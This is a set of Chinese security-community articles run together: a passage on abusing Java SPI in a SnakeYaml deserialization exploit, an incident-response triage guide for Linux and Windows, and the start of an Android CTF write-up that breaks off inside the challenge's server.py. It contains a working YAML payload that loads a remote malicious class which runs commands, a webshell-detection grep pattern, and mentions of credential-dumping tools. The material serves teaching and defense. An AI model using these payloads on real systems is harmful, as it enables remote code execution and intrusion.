文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找 `META-INF/services`中的配置文件去加载对应的实现类。
谈谈个人的理解, 我认为这种机制是用于解耦模块中的硬编码实现类, 通过配置文件的方式实现的一种动态加载方式。例如在JDBC的使用场景中, 你可以在
`META-INF/services`新建Driver文件, 在文件内容中指定你要加载的数据库驱动实现类,
这种方式即能够实现动态加载也无需在程序代码中硬编码实现类。当你需要更换数据库驱动时只需要更新配置文件内容即可。
## SPI与ScriptEngineManager
首先给出Payload和利用方法, 编写恶意类实现 `ScriptEngineFactory`接口, 在静态代码块中添加命令执行代码：
public class Poc implements ScriptEngineFactory {
public static void main(String[] args) {}
static {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public String getEngineName() {}
......
然后将编译的class放置在Web服务下, 同时在Web服务的根目录新建 `META-INF/services/javax.script.ScriptEngineFactory`文件, 内容为 `Poc`。
String payload = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!java.net.URL [\"url\"]]]]";
上述的Payload会从最右边开始解析, 首先调用 `java.net.URL`的 **public URL(String spec)**
构造器初始化对象, 然后将该URL对象传入 `java.net.URLClassLoader`的 **public URLClassLoader(URL[]
urls)** 构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用
`javax.script.ScriptEngineManager`的 **public
ScriptEngineManager(URLClassloader loader)** 构造器。
打开URL流获取加载的类名（javax.script.ScriptEngineFactory文件的内容）：
在
`java.util.ServiceLoader#nextService`中其通过Class.forName通过URL加载远程服务器上的类（因为loader是URLClassLoader）,
并触发静态代码块中的命令执行弹出计算器。
不过这里Class.forName的第二个参数为false, 所以静态代码块不会在这里被执行, 而是当调用newInstance方法的时候执行的。
## 参考
[Java SnakeYaml反序列化漏洞](https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E)
[Java常用机制 - SPI机制详解 | Java
全栈知识体系](https://www.pdai.tech/md/java/advanced/java-advanced-spi.html#java%e5%b8%b8%e7%94%a8%e6%9c%ba%e5%88%b6---spi%e6%9c%ba%e5%88%b6) | 社区文章 |
### Author: sm0nk@猎户攻防实验室
行文仓促，不足之处，还望大牛指正。
# 1 **事件分类**
常见的安全事件：
1. Web入侵：挂马、篡改、Webshell
2. 系统入侵：系统异常、RDP爆破、SSH爆破、主机漏洞
3. 病毒木马：远控、后门、勒索软件
4. 信息泄漏：脱裤、数据库登录（弱口令）
5. 网络流量：频繁发包、批量请求、DDOS攻击
# 2 **排查思路**
一个常规的入侵事件后的系统排查思路：
1. 文件分析
a) 文件日期、新增文件、可疑/异常文件、最近使用文件、浏览器下载文件
b) Webshell 排查与分析
c) 核心应用关联目录文件分析
2. 进程分析
a) 当前活动进程 & 远程连接
b) 启动进程&计划任务
c) 进程工具分析
i. Windows:Pchunter
ii. Linux: Chkrootkit&Rkhunter
3. 系统信息
a) 环境变量
b) 帐号信息
c) History
d) 系统配置文件
4. 日志分析
a) 操作系统日志
i. Windows: 事件查看器（eventvwr）
ii. Linux: /var/log/
b) 应用日志分析
i. Access.log
ii. Error.log
# 3 **分析排查**
## 3.1 **Linux系列分析排查**
### 3.1.1 **文件分析**
1. 敏感目录的文件分析（类/tmp目录，命令目录/usr/bin /usr/sbin）
例如:
查看tmp目录下的文件： ls –alt /tmp/
查看开机启动项内容：ls -alt /etc/init.d/
查看指定目录下 **文件时间** 的排序：ls -alt | head -n 10
针对可疑文件可以使用stat进行创建修改时间、访问时间的详细查看，若修改时间距离事件日期接近，有线性关联，说明可能被篡改或者其他。
1. 新增文件分析
例如要查找24小时内被修改的JSP文件： find ./ -mtime 0 -name "*.jsp"
（最后一次修改发生在距离当前时间n _24小时至(n+1)_ 24 小时）
查找72小时内新增的文件find / -ctime -2
PS：- **ctime** 内容未改变权限改变时候也可以查出
**根据确定时间去反推变更的文件**
ls -al /tmp | grep "Feb 27"
2. 特殊权限的文件
查找777的权限的文件 find / *.jsp -perm 4777
3. 隐藏的文件（以 "."开头的具有隐藏属性的文件）
4. 在文件分析过程中，手工排查频率较高的命令是 find grep ls 核心目的是为了关联推理出可疑文件。
### 3.1.2 **进程命令**
1. 使用netstat 网络连接命令，分析可疑端口、可疑IP、可疑PID及程序进程
netstat –antlp | more
1. 使用ps命令，分析进程
ps aux | grep pid | grep –v grep
将netstat与ps 结合，可参考vinc牛的案例：
（可以使用lsof -i:1677 查看指定端口对应的程序）
1. 使用ls 以及 stat 查看系统命令是否被替换。
两种思路：第一种查看命令目录最近的时间排序，第二种根据确定时间去匹配。
ls -alt /usr/bin | head -10
ls -al /bin /usr/bin /usr/sbin/ /sbin/ | grep "Jan 15"
PS：如果日期数字<10，中间需要两个空格。比如1月1日，grep “Jan 1”
1. 隐藏进程查看
ps -ef | awk '{print}' | sort -n | uniq >1
ls /proc | sort -n |uniq >2
diff 1 2
### 3.1.3 **系统信息**
history (cat /root/.bash_history)
/etc/passwd
crontab /etc/cron*
rc.local /etc/init.d chkconfig
last
$PATH
strings
1. 查看分析history (cat /root/.bash_history)，曾经的命令操作痕迹，以便进一步排查溯源。运气好有可能通过记录关联到如下信息：
a) wget 远程某主机（域名&IP）的远控文件；
b) 尝试连接内网某主机（ssh scp），便于分析攻击者意图;
c) 打包某敏感数据或代码，tar zip 类命令
d) 对系统进行配置，包括命令修改、远控木马类，可找到攻击者关联信息…
2. 查看分析用户相关分析
a) useradd userdel 的命令时间变化（stat），以及是否包含可疑信息
b) cat /etc/passwd 分析可疑帐号，可登录帐号
查看UID为0的帐号：awk -F: '{if($3==0)print $1}' /etc/passwd
查看能够登录的帐号：cat /etc/passwd | grep -E "/bin/bash$"
PS：UID为0的帐号也不一定都是可疑帐号，Freebsd默认存在toor帐号，且uid为0.（toor 在BSD官网解释为root替代帐号，属于可信帐号）
1. 查看分析任务计划
a) 通过crontabl –l 查看当前的任务计划有哪些，是否有后门木马程序启动相关信息；
b) 查看etc目录任务计划相关文件，ls /etc/cron*
2. 查看linux 开机启动程序
a) 查看rc.local文件（/etc/init.d/rc.local /etc/rc.local）
b) ls –alt /etc/init.d/
c) chkconfig
3. 查看系统用户登录信息
a) 使用lastlog命令，系统中所有用户最近一次登录信息。
b) 使用lastb命令，用于显示用户错误的登录列表
c) 使用last命令，用于显示用户最近登录信息（数据源为/var/log/wtmp，var/log/btmp）
utmp文件中保存的是当前正在本系统中的用户的信息。
wtmp文件中保存的是登录过本系统的用户的信息。
/var/log/wtmp 文件结构和/var/run/utmp 文件结构一样，都是引用/usr/include/bits/utmp.h
中的struct utmp
1. 系统路径分析
a) echo $PATH 分析有无敏感可疑信息
2. 指定信息检索
a) strings命令在对象文件或二进制文件中查找可打印的字符串
b) 分析sshd 文件，是否包括IP信息strings /usr/bin/.sshd | egrep '[1-9]{1,3}.[1-9]{1,3}.'
PS：此正则不严谨，但匹配 **IP已够用**
c) 根据关键字匹配命令内是否包含信息（如IP地址、时间信息、远控信息、木马特征、代号名称）
3. 查看ssh相关目录有无可疑的公钥存在。
a) Redis（6379） 未授权恶意入侵，即可直接通过redis到目标主机导入公钥。
b) 目录： /etc/ssh ./.ssh/
### 3.1.4 **后门排查**
除以上文件、进程、系统 分析外，推荐工具：
chkrootkit rkhunter（www.chkrootkit.org rkhunter.sourceforge.net）
Ø **chkrootkit**
(迭代更新了20年)主要功能：
1. 检测是否被植入后门、木马、rootkit
2. 检测系统命令是否正常
3. 检测登录日志
4. 详细参考README
Ø **rkhunter** 主要功能：
1. 系统命令（Binary）检测，包括Md5 校验
2. Rootkit检测
3. 本机敏感目录、系统配置、服务及套间异常检测
4. 三方应用版本检测
Ø **RPM check检查**
系统完整性也可以通过rpm自带的-Va来校验检查所有的rpm软件包,有哪些被篡改了,防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查
./rpm -Va > rpm.log
如果一切均校验正常将不会产生任何输出。如果有不一致的地方，就会显示出来。输出格式是8位长字符串, `c 用以指配置文件, 接着是文件名. 8位字符的每一个
用以表示文件与RPM数据库中一种属性的比较结果 。` . (点) 表示测试通过。.下面的字符表示对RPM软件包进行的某种测试失败：
5 MD5 校验码
S 文件尺寸
L 符号连接
T 文件修改日期
D 设备
U 用户
G 用户组
M 模式e (包括权限和文件类型)
借用sobug文章案例：如下图可知ps, pstree, netstat, sshd等等系统关键进程被篡改了
Ø **Webshell查找**
Webshell的排查可以通过 **文件、流量、日志**
三种方式进行分析，基于文件的命名特征和内容特征，相对操作性较高，在入侵后应急过程中频率也比较高。
可根据webshell特征进行命令查找，简单的可使用(当然会存在漏报和误报)
find /var/www/ -name "*.php" |xargs egrep 'assert|phpspy|c99sh|milw0rm|eval|\(gunerpress|\(base64_decoolcode|spider_bc|shell_exec|passthru|\(\$\_\POST\[|eval \(str_rot13|\.chr\(|\$\{\"\_P|eval\(\$\_R|file_put_contents\(\.\*\$\_|base64_decode'
1. Webshell的排查可以通过
2. Github上存在各种版本的webshell查杀脚本，当然都有自己的特点，可使用河马shell查杀（shellpub.com）
综上所述，通过chkrootkit 、rkhunter、RPM check、Webshell Check 等手段得出以下应对措施：
1. 根据进程、连接等信息关联的程序，查看木马活动信息。
2. 假如系统的命令（例如netstat ls 等）被替换，为了进一步排查，需要下载一新的或者从其他未感染的主机拷贝新的命令。
3. 发现可疑可执行的木马文件，不要急于删除，先打包备份一份。
4. 发现可疑的文本木马文件，使用文本工具对其内容进行分析，包括回连IP地址、加密方式、关键字（以便扩大整个目录的文件特征提取）等。
### 3.1.5 **日志分析**
日志文件
/var/log/message 包括整体系统信息
/var/log/auth.log 包含系统授权信息，包括用户登录和使用的权限机制等
/var/log/userlog 记录所有等级用户信息的日志。
/var/log/cron 记录crontab命令是否被正确的执行
/var/log/xferlog(vsftpd.log)记录Linux FTP日志
/var/log/lastlog 记录登录的用户，可以使用命令lastlog查看
/var/log/secure 记录大多数应用输入的账号与密码，登录成功与否
var/log/wtmp 记录登录系统成功的账户信息，等同于命令last
var/log/faillog 记录登录系统不成功的账号信息，一般会被黑客删除
1. 日志查看分析，grep,sed,sort,awk综合运用
2. 基于时间的日志管理：
/var/log/wtmp
/var/run/utmp
/var/log/lastlog(lastlog)
/var/log/btmp(lastb)
3. 登录日志可以关注Accepted、Failed password 、invalid特殊关键字
4. 登录相关命令
lastlog 记录最近几次成功登录的事件和最后一次不成功的登录
who 命令查询utmp文件并报告当前登录的每个用户。Who的缺省输出包括用户名、终端类型、登录日期及远程主机
w 命令查询utmp文件并显示当前系统中每个用户和它所运行的进程信息
users 用单独的一行打印出当前登录的用户，每个显示的用户名对应一个登录会话。如果一个用户有不止一个登录会话，那他的用户名把显示相同的次数
last 命令往回搜索wtmp来显示自从文件第一次创建以来登录过的用户
finger 命令用来查找并显示用户信息，系统管理员通过使用该命令可以知道某个时候到底有多少用户在使用这台Linux主机。
5. 几个语句
定位有多少IP在爆破主机的root帐号
grep "Failed password for root" /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
登录成功的IP有哪些
grep "Accepted " /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -nr | more
tail -400f demo.log #监控最后400行日志文件的变化 等价与 tail -n 400 -f （-f参数是实时）
less demo.log #查看日志文件，支持上下滚屏，查找功能
uniq -c demo.log #标记该行重复的数量，不重复值为1
grep -c 'ERROR' demo.log #输出文件demo.log中查找所有包行ERROR的行的数量
### 3.1.6 **相关处置**
kill -9
chattr –i
rm
setfacl
ssh
chmod
## 3.2 **Windows系列分析排查**
### 3.2.1 **文件分析**
1. 开机启动有无异常文件
2. 各个盘下的temp(tmp)相关目录下查看有无异常文件
3. 浏览器浏览痕迹、浏览器下载文件、浏览器cookie信息
4. 查看文件时间，创建时间、修改时间、访问时间。对应linux的ctime mtime atime，通过对文件右键属性即可看到详细的时间（也可以通过dir /tc 1.aspx 来查看创建时间），黑客通过菜刀类工具改变的是修改时间。所以如果修改时间在创建时间之前明显是可疑文件。
5. 查看用户recent相关文件，通过分析最近打开分析可疑文件
a) C:\Documents and Settings\Administrator\Recent
b) C:\Documents and Settings\Default User\Recent
c) 开始,运行 %UserProfile%\Recent
6. 根据文件夹内文件列表时间进行排序，查找可疑文件。当然也可以搜索指定日期范围的文件及文件件
S **erver** 2008 R2系列
Win10 **系列**
1. 关键字匹配，通过确定后的入侵时间，以及webshell或js文件的关键字（比如博彩类），可以在IIS 日志中进行过滤匹配，比如经常使用:
2. 知道是上传目录，在web log 中查看指定时间范围包括上传文件夹的访问请求
findstr /s /m /I “UploadFiles” *.log
某次博彩事件中的六合彩信息是six.js
findstr /s /m /I “six.js” *.aspx
根据shell名关键字去搜索D盘spy相关的文件有哪些
for /r d:\ %i in (*spy*.aspx) do @echo %i
### 3.2.2 **进程命令**
1. netstat -ano 查看目前的网络连接，定位可疑的ESTABLISHED
2. 根据netstat 定位出的pid，再通过tasklist命令进行进程定位
1. 通过tasklist命令查看可疑程序
### 3.2.3 **系统信息**
1. 使用set命令查看变量的设置
2. Windows 的计划任务；
3. Windows 的帐号信息，如隐藏帐号等
4. 配套的注册表信息检索查看，SAM文件以及远控软件类
5. 查看systeminfo 信息，系统版本以及补丁信息
例如系统的远程命令执行漏洞MS08-067、MS09-001、MS17-010（永恒之蓝）…
若进行漏洞比对，建议使用Windows-Exploit-Suggester
<https://github.com/GDSSecurity/Windows-Exploit-Suggester/>
### 3.2.4 **后门排查**
PC Hunter是一个Windows系统信息查看软件
<http://www.xuetr.com/>
功能列表如下：
1.进程、线程、进程模块、进程窗口、进程内存信息查看，杀进程、杀线程、卸载模块等功能
2.内核驱动模块查看，支持内核驱动模块的内存拷贝
3.SSDT、Shadow SSDT、FSD、KBD、TCPIP、Classpnp、Atapi、Acpi、SCSI、IDT、GDT信息查看，并能检测和恢复ssdt hook和inline hook
4.CreateProcess、CreateThread、LoadImage、CmpCallback、BugCheckCallback、Shutdown、Lego等Notify Routine信息查看，并支持对这些Notify Routine的删除
5.端口信息查看，目前不支持2000系统
6.查看消息钩子
7.内核模块的iat、eat、inline hook、patches检测和恢复
8.磁盘、卷、键盘、网络层等过滤驱动检测，并支持删除
9.注册表编辑
10.进程iat、eat、inline hook、patches检测和恢复
11.文件系统查看，支持基本的文件操作
12.查看（编辑）IE插件、SPI、启动项、服务、Host文件、映像劫持、文件关联、系统防火墙规则、IME
13.ObjectType Hook检测和恢复
14.DPC定时器检测和删除
15.MBR Rootkit检测和修复
16.内核对象劫持检测
17.WorkerThread枚举
18.Ndis中一些回调信息枚举
19.硬件调试寄存器、调试相关API检测
20.枚举SFilter/Fltmgr的回调
PS：最简单的使用方法，根据颜色去辨识—— ** _可疑进程，隐藏服务、被挂钩函数：红色_**
，然后根据程序右键功能去定位具体的程序和移除功能。根据可疑的进程名等进行互联网信息检索然后统一清除并关联注册表。
Webshell 排查
1. 可以使用hm
1. 也可以使用盾类（D盾、暗组盾），如果可以把web目录导出，可以在自己虚拟机进行分析
### 3.2.5 **日志分析**
1. 打开事件管理器（开始—管理工具—事件查看/开始运行eventvwr）
2. 主要分析安全日志，可以借助自带的筛选功能
1. 可以把日志导出为文本格式，然后使用notepad++ 打开，使用正则模式去匹配远程登录过的IP地址，在界定事件日期范围的基础，可以提高效率正则是：
2. ((?:(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))).){3}(?:25[0-5]|2[0-4]\d|((1\d{2})|([1-9]?\d))))
1. 强大的日志分析工具[Log Parser](https://www.microsoft.com/en-us/download/confirmation.aspx?id=24659)
#分析IIS日志
LogParser.exe "select top 10 time, c-ip,cs-uri-stem, sc-status, time-taken from C:\Users\sm0nk\Desktop\iis.log" -o:datagrid
有了这些我们就可以对windows日志进行分析了 比如我们分析域控日志的时候，想要查询账户登陆过程中，用户正确，密码错误的情况，我们需要统计出源IP，时间，用户名时，我们可以这么写（当然也可以结合一些统计函数，分组统计等等）：
LogParser.exe -i:EVT "SELECT TimeGenerated,EXTRACT\_TOKEN(Strings,0,'|') AS USERNAME,EXTRACT\_TOKEN(Strings,2,'|') AS SERVICE\_NAME,EXTRACT\_TOKEN(Strings,5,'|') AS Client_IP FROM 'e:\logparser\xx.evtx' WHERE EventID=675"
事件ID是很好的索引
Windows server 2008系列参考event ID：
4624 - 帐户已成功登录
4625 - 帐户登录失败
4648 - 试图使用明确的凭证登录（例如远程桌面）
### 3.2.6 **相关处置**
1. 通过网络连接锁定的可疑进程，进行定位恶意程序后删除(taskkill)
2. 木马查杀，可配合pchunter 进行进一步专业分析，使用工具功能进行强制停止以及删除
3. 最后清理后，统一查看网络连接、进程、内核钩子等是否正常。
## 3.3 **应用类**
Apache、tomcat、Nginx、IIS
无论任何web服务器其实日志需要关注的东西是一致的，即access_log和error_log。一般在确定ip地址后，通过:
find . access_log |grep xargs ip攻击地址
find . access_log| grep xargs 木马文件名
页面访问排名前十的IP
cat access.log | cut -f1 -d " " | sort | uniq -c | sort -k 1 -r | head -10
页面访问排名前十的URL
cat access.log | cut -f4 -d " " | sort | uniq -c | sort -k 1 -r | head -10
查看最耗时的页面
cat access.log | sort -k 2 -n -r | head 10
在对WEB日志进行安全分析时，可以按照下面两种思路展开，逐步深入，还原整个攻击过程。
1. 首先确定受到攻击、入侵的时间范围，以此为线索，查找这个时间范围内可疑的日志，进一步排查，最终确定攻击者，还原攻击过程。
1. 一般攻击者在入侵网站后，通常会上传一个后门文件，以方便自己以后访问。我们也可以以该文件为线索来展开分析。
# 4 **应急总结**
1. 核心思路是“顺藤摸瓜”
2. 碎片信息的关联分析
3. 时间范围的界定以及关键操作时间点串联
4. Web入侵类，shell定位很重要
5. 假设与求证
6. 攻击画像与路线确认
# 5 **渗透反辅**
1. 密码读取
a) Windows: Mimikatz
b) Linux: mimipenguin
2. 帐号信息
a) 操作系统帐号
b) 数据库帐号
c) 应用帐号信息
3. 敏感信息
a) 配置信息
b) 数据库信息
c) 服务端口信息
d) 指纹信息
4. 滚雪球式线性拓展
a) 密码口令类拓展（远控）
b) 典型漏洞批量利用
5. 常见的入侵方式Getshell方法
a) WEB入侵
i. 典型漏洞：注入Getshell ,
上传Getshell，命令执行Getshell，文件包含Getshell，代码执行Getshell，编辑器getshell，后台管理Getshell，数据库操作Getshell
ii.
容器相关：Tomcat、Axis2、WebLogic等中间件弱口令上传war包等，Websphere、weblogic、jboss反序列化，Struts2代码执行漏洞，Spring命令执行漏洞
b) 系统入侵
i. SSH 破解后登录操作
ii. RDP 破解后登录操作
iii. MSSQL破解后远控操作
iv. SMB远程命令执行（MS08-067、MS17-010、CVE-2017-7494）
c) 典型应用
i. Mail暴力破解后信息挖掘及漏洞利用
ii. VPN暴力破解后绕过边界
iii. Redis 未授权访问或弱口令可导ssh公钥或命令执行
iv. Rsync 未授权访问类
v. Mongodb未授权访问类
vi. Elasticsearch命令执行漏洞
vii. Memcache未授权访问漏洞
viii. 服务相关口令（mysql ldap zebra squid vnc smb）
# 6 **资源参考**
<https://www.waitalone.cn/linux-find-webshell.html>
<http://vinc.top/category/yjxy/>
<http://www.shellpub.com/>
<http://linux.vbird.org/linux_security/0420rkhunter.php>
<https://cisofy.com/download/lynis/>
[https://sobug.com/article/detail/27?from=message&isappinstalled=1](https://sobug.com/article/detail/27?from=message&isappinstalled=1)
<http://www.freebuf.com/articles/web/23358.html>
<https://www.microsoft.com/en-us/download/details.aspx?id=24659>
<http://www.cnblogs.com/downmoon/archive/2009/09/02/1558409.html>
<http://wooyun.jozxing.cc/static/drops/tips-7462.html>
<http://bobao.360.cn/learning/detail/3830.html>
<https://yq.aliyun.com/ziliao/65679>
<http://secsky.sinaapp.com/188.html>
<http://blog.sina.com.cn/s/blog_d7058b150102wu07.html>
<http://www.sleuthkit.org/autopsy/>
# 7 **FAQ**
1. **应急需求有哪些分类：**
a) 被谁入侵了？ 关联 攻击IP 攻击者信息
b) 怎么入侵的？ 关联 入侵时间轴、漏洞信息
c) 为什么被入侵？ 关联 行业特性、数据信息、漏洞信息
d) 数据是否被窃取？ 关联 日志审计
e) 怎么办？ 关联 隔离、排查分析、删马（解密）、加固、新运营
2. **关于windows的日志工具（log parser** ）有无图形界面版？
Log Parser Lizard 是一款用Vc++.net写的logParser增强工具。主要有以下特点：
a) 封装了logParser命令，带图形界面，大大降低了LogParser的使用难度。
b) 集成了几个开源工具，如log4net等。可以对IIS logs\EventLogs\active directory\log4net\File
Systems\T-SQL进行方便的查询。
c)
集成了Infragistics.UltraChart.Core.v4.3、Infragistics.Excel.v4.3.dll等，使查询结果可以方便的以图表或EXCEL格式展示。
d) 集成了常见的查询命令，范围包含六大模块:IIS
e) 可以将查询过的命令保存下来，方便再次使用。
**PS** : **软件是比较老的，对新系统兼容性不好，还是建议微软原生态log parser**
1. **在linux日志中，有无黑客入侵后的操作命令的统计 _**_**
a) 可以根据history信息进行溯源分析，但一般可能会被清除
b) 还有方法是需要结合accton 和 lastcomm
1. **3.2.3** 提到了 **Windows-Exploit-Suggester，有无linux版？**
Linux_Exploit_Suggester
<https://github.com/PenturaLabs/Linux_Exploit_Suggester>
1. **有无linux自动化信息收集的脚本工具？**
LinEnum <https://github.com/rebootuser/LinEnum>
2.
3. **有无综合的取证分析工具**
Autopsy 是sleuthkit提供的平台工具，Windows 和
Linux磁盘映像静态分析、恢复被删文件、时间线分析，网络浏览历史，关键字搜索和邮件分析等功能
<http://www.sleuthkit.org/autopsy/>
1. **关于业务逻辑的排查方法说明**
新型业务安全中安全事件，例如撞库、薅羊毛、支付、逻辑校验等敏感环节，未在本文体现，所以后续有必要针对业务侧的应急排查方法归纳。 | 社区文章 |
# 一：前置知识
## 1.WebView
现在很多App中都会内置html5界面，有时候会涉及到与android进行交互，这就需要用到WebView控件，WebView可以做到：
1.显示和渲染web界面
2.直接使用html进行布局
3.与js进行交互
创建WebView拥有两种方法，第一种方法是WebView webview = new
WebView(getApplicationContext());创建；第二种是在xml文件内放在布局中；下面以第二种方法为例
Activity_main.xml文件
<WebView
android:id="@+id/eeeewebview"
android:layout_width="0dp"
android:layout_height="0dp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent" />
MainActivity.java文件
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
// WebView
WebView webView = (WebView) findViewById(R.id.eeeewebview);
webView.loadUrl("https://www.baidu.com");
webView.setWebViewClient(new WebViewClient(){
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
//使用WebView加载显示url
view.loadUrl(url);
//返回true
return true;
}
});
写完之后运行，发现报错，无法打开网页(net::ERR_CLEARTEXT_NOT_PERMITTED)，
经过搜索在manifest内设置usesCleartextTraffic为true即可
可以看到百度已经被打开了，啊～因为这个app是我用来测试其他东西的，所以会看到三个奇奇怪怪的按钮
## 2.URI
Uri代表要操作的数据，Android上可用的每种资源 (图像、视频片段、网页等) 都可以用Uri来表示。从概念上来讲，UrI包括URL。
Uri的基本结构是
大致为[scheme:]scheme-specific-part[#fragment]
细分为[scheme:][//authority][path][?query][#fragment]
path可以存在多个，以"/"连接 scheme://authority/path1/path2/path3?query#fragment
query可以带参数的返回值也可不带 scheme://authority/path1/path2/path3?id = 1#fragment
举例如下
http://www.eeeeeeeeeeeeeeeea.cn/about?id=1
scheme是在":"之前，所以他匹配的是http
authority是在"//"之后，所以www.eeeeeeeeeeeeeeeea.cn与其对应
path自然对应的就是about这个页面
query对应的是id=1
在安卓内，除了authority和scheme必须存在，其他的可以选择性的要或者不要
将一个url解析成uri对象的操作是Uri.parse(“<http://www.baidu.com”)，就是将百度网址解析成一个uri对象，可以对其进行其他的各种操作了>
## 3.intent
### 1.intent功能
intent是各大组件之间通信的桥梁，Android有四个组件，分别是Activity，Service，Broadcast Receiver，Content
Provider；组件之间可以进行通信，互相调用，从而形成一个app
每个应用程序都有若干个Activity组成，每一个Activity都是一个应用程序与用户进行交互的窗口，呈现不同的交互界面。因为每一个Acticity的任务不一样，所以经常互在各个Activity之间进行跳转，在Android中这个动作是靠Intent来完成的。通过startActivity()方法发送一个Intent给系统，系统会根据这个Intent帮助你找到对应的Activity，即使这个Activity在其他的应用中，也可以用这种方法启动它。
### 2.显式intent和隐式intent
intent包括两种，一是显式另一个是隐式。显式intent通常是已经知道要启动Activity的包名，多发于同一个app内；隐式intent只知道要执行的动作是什么，比如拍照，录像，打开一个网站。
那么隐式的intent如何启动一个组件呢呢？如果没有约束的话可能会造成一些后果，所以在Manifest文件内定义了intent-filter标签，如果组件中的intentfilter和intent中的intentfilter匹配，系统就会启动该组件，并把intent传给它；若有多个组件都符合，系统变会弹出一个窗口，任我们选择启动该intent的应用(app)。
在intent-filter标签中，我们可以选择三个intent的属性进行设置，包括action，category，data
上图intent-filter定义的action为MAIN，代表app以这个activity开始
### 3.intent属性
#### 1.component
该属性是显式intent特有的，表明要启动的类的全称，包括包名和类名。有它就意味着只有Component
name匹配上的那个组件才能接收你发送出来的显式intent。
下面代码可以启动另一个app的主页面
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
ComponentName cn = new ComponentName(packageName, className);
intent.setComponent(cn);
startActivity(intent);
一个activity是否能被其他app的组件启动取决于"android:exported"，true能，false不能。如果是false，这个activity只能被相同app的组件启动，或者是相同user
ID的app的组件启动。
**如果显式设置exported属性，不管这个activity有没有设置intent-filter,那么exported的值就是显式设置的值**
**如果没有设置exported属性，那么exported属性取决于这个activity是否有intent-filter**
**如有intent-filter,那么exported的值就是true**
**如没有intent-filter,那么exported的值就是false**
#### 2.action
一个字符串变量，用来指定Intent要执行的动作类别（比如：view or
pick）。你可以在你的应用程序中自定义action，但是大部分的时候你只使用在Intent中定义的action，你可以通过Intent的setAction()方法设置action。
#### 3.data
一个Uri对象，对应着一个数据。只设置数据的URI可以调用setData()方法，只设置MIME类型可以调用setType()方法，如果要同时设置这两个可以调用setDataAndType()。
#### 4.category
一个包含Intent额外信息的字符串，表示哪种类型的组件来处理这个Intent。任何数量的Category
描述都可以添加到Intent中，你可以通过调用addCagegory()方法来设置category。
#### 5.extras
Intent可以携带的额外key-value数据，你可以通过调用putExtra()方法设置数据，每一个key对应一个value数据。你也可以通过创建Bundle对象来存储所有数据，然后通过调用putExtras()方法来设置数据。
#### 6.flags
用来指示系统如何启动一个Activity（比如：这个Activity属于哪个Activity栈）和Activity启动后如何处理它(比如：是否把这个Activity归为最近的活动列表中)。
# 二：题目环境布置
### 1.docker存在问题
运行run.sh，我自己启动了一遍docker环境，修改了一些部分，最终发现是在server.py文件的 **setup_emulator()函数**
中没有模拟出来手机，只是创建了一个AVD环境，并没有emulator成功
由于自己能力有限，实在不知道如何修好这个docker环境，便就此搁置，导致后面silver droid利用也不完全；如若后续进步，必定再战一次
### 2.server.py脚本内函数
#### 1.adb_broadcast
adb broadcast便是将服务器上的flag传给apk的FlagReceiver，通过adb
shell进入手机，可以查看到flag被存到了"files/flag"内
之前有一个疑问，便是manifest文件将Flagreceiver设置为exported为false和设置了intent-filter，防止外界app进行干扰，那么是怎么将flag传递给FlagReceiver呢？
由于root的情况下，是忽略掉exported的，所以可以对其进行广播
am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{eeeeeeee}'
#### 2.adb_activity
通过intent传递url数据，下面可以通过-d选项来指定Intent data URI
am start -a android.intent.action.VIEW -d https://www.baidu.com
下面的题目介绍，都是以pixel4为环境打的，因为docker我这边模拟不起来
同时记得自己写的apk要在AndroidManifest.xml内加两句话，可以让其有网络访问的权限
<uses-permission android:name="android.permission.INTERNET"/>
<application
android:usesCleartextTraffic="true"
# 三：Silver Droid
## 1.server.py分析
主要由攻击者提供一个url，在url内布置好exp，从而进行达到利用的目的，具体见代码块内分析
#!/usr/bin/env python3
import os
import random
import subprocess
import sys
import time
import requests
import uuid
from hashlib import *
import zipfile
import signal
import string
isMacos = len(sys.argv) == 2
wordlist = string.ascii_letters
difficulty = 4
random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])
ADB_PORT = int(random.random() * 60000 + 5000)
EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)
EXPLOIT_TIME_SECS = 30
APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")
FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")
HOME = "/home/user"
VULER = "com.bytectf.silverdroid"
ENV = {}
ENV.update(os.environ)
if not isMacos:
ENV.update({
"ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),
"ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),
"ANDROID_SDK_ROOT": "/opt/android/sdk",
"ANDROID_SDK_HOME": HOME,
"ANDROID_PREFS_ROOT": HOME,
"ANDROID_EMULATOR_HOME": HOME + "/.android",
"ANDROID_AVD_HOME": HOME + "/.android/avd",
"JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",
"PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")
})
def print_to_user(message):
print(message)
sys.stdout.flush()
def download_file(url):
try:
download_dir = "download"
if not os.path.isdir(download_dir):
os.mkdir(download_dir)
tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')
f = requests.get(url)
if len(f.content) > 10*1024*1024: # Limit size 10M
return None
with open(tmp_file, 'wb') as fp:
fp.write(f.content)
return tmp_file
except:
